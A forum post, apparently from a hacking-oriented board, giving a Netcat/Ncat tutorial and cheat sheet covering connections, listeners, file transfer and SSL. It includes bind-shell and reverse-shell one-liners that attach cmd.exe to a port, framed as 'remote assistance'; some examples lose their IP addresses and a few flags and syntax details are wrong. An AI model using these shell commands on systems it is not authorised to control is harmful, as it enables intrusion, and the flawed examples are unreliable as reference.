• 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
[Guide] Netcat/Ncat Tutorial & Command Cheat Sheet
Welcome to my Netcat/Ncat Written Guide! At the bottom of this thread you'll find a 20 Minute long video I did about Netcat, however this is the written guide.

You can find a list of all the commands in Netcat here: http://www.tutorialspoint.com/unix_commands/nc.htm

However the post important commands are -N, -L, -P & -Z

Netcat is a very powerful tool, often referred to as the Hackers Swiss Army Knife and is able to run on both Linux & Windows. The simplest definition of Netcat is a "a tool that can read and write to TCP & UDP ports.". Netcat can use two modes, server & client. 

Using the command 'netcat' or 'nc' will bring up the original Netcat. Using commands 'ncat' will use the NMAP version of Netcat which has support for SSL. 

To connect to a IP Address on a specific port number you can use the following command:
nc -nv <ip> <port>

nc - Specifies Netcat, could also use Netcat
-nv - Use a Verbose output(v) & do not not resolve to IP Address(n). 

For example: 

nc -nv 110

Will connect to on port 110. 

You can also create a server with Netcat to listen on a specific port using this command:
nc -nlvp <port>

nc - Specifies Netcat, could also use Netcat
-nlvp - Use a Verbose output(v), do not not resolve to IP Address(n), listen(l) & port number(p)

For example: 

nc -nlvp 1337

Will create a server listening on port 1337
You can also send files using < & >. The following command will send a file:
nc -nv <ip> <port> < filename.extension
For example: 

nc -nv 1337 < send.txt

To receive the file on the other end you will need to create a server and then specify the location that the file will be outputted too. 
nc -nlvp <port> filename.extension
For example:

nc -nlvp 1337 > incoming.txt

Send.txt will now be transferred and stored in Incoming.txt
Netcat is also very useful for providing remote assitance through the use of a Remote Shell. We can do this by performing 'command redirection'. Netcat can take an executable file and redirect the input, output and error messages to a TCP/UDP port rather than the default console. 
To bind a shell to a port you can run the following command:
nc -nlvp <port> -e application.extension
For example:

nc -nlvp 1337 -e cmd.exe

When a user connects to this port number they will now get a command prompt window.
You can also perform a remote shell just in case the user requiring remote assistance is unable to port forward. 
nc -nv <ip> <port> -e cmd.exe
For example:

nc -nv 1337 -e cmd.exe

In the above example we are sending a cmd.exe shell to the server which is listening on port 1337.
With the NMAP version of Netcat it has support for SSL. You can create servers that only accept connections from specific IP Addresses and are using SSL. 
ncat --exec cmd.exe --allow <ip> -vnl <port> --ssl
For example:

nc -exec cmd.exe --allow -vnl 1337 --ssl

In the above example, only will be able to connect to port 1337 as long as the connection is using SSL. You can specify SSL when connecting by using the --ssl command

ncat -nv 1337 --ssl

Please read the forum rules here
Join our official Discord: https://discord.gg/fj7v7Sq

Forum Jump:

Users browsing this thread: 1 Guest(s)